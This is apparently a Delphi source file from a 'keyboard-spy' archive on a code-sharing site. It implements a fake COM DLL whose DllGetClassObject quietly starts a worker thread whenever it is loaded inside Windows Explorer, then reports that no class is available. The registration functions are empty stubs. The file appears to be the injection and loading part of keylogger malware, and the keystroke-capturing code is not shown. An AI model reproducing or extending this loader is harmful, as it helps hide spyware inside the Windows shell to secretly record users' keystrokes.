www.pudn.com > keyboard-spy.rar > ActiveXCom.pas

unit ActiveXCom; 
 
interface 
 
uses ActiveX; 
 
   
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall; 
function DllCanUnloadNow: HResult; stdcall; 
function DllRegisterServer: HResult; stdcall; 
function DllUnregisterServer: HResult; stdcall; 
 
implementation 
 
uses Windows, Publics,Threads; 
 
 
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; 
begin 
  if InExplorer then CreateThread(nil, 0, @ThreadPro, Pointer(66), 0, SubThreadID);   
  Pointer(Obj) := nil; 
  Result := CLASS_E_CLASSNOTAVAILABLE; 
end; 
 
function DllCanUnloadNow: HResult; 
begin 
  Result := S_OK; 
end; 
 
function DllRegisterServer: HResult; 
begin 
  Result := S_OK; 
end; 
 
function DllUnregisterServer: HResult; 
begin 
  Result := S_OK; 
end; 
 
 
 
end.